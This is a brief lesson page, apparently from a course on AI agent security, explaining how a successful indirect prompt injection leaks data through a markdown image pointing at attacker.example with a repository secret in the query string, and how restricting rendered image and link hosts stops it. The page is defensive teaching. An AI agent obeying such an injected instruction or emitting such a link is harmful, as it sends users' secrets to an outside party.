2 min lesson

Exfiltration channels an injection will use

Give a practical answer to this: "An injected instruction tells the agent to embed a markdown image pointing at https://attacker.example/?d=<repo-secret>. How does this leak data and how do you stop it without breaking legitimate images?"

Exfiltration channels an injection will usethe trifecta's exit, concretely

When an indirect injection succeeds, it needs a way out. These are the channels it reaches for and each maps to a control from the earlier sections.

EXFILTRATION DEFENSE IN DEPTH

Render layer: Stop zero-click leaks: don't auto-fetch arbitrary remote content and restrict rendered link/image destinations to allowlisted hosts so a markdown image pointing at attacker.example/?d=<secret> can't fire on render.

diagram: stack

Three layers, each closing one exit channel an injection reaches for.

Exfiltration channels an injection will use

Step 1 of 3

Exfiltration channels an injection will usethe trifecta's exit, concretely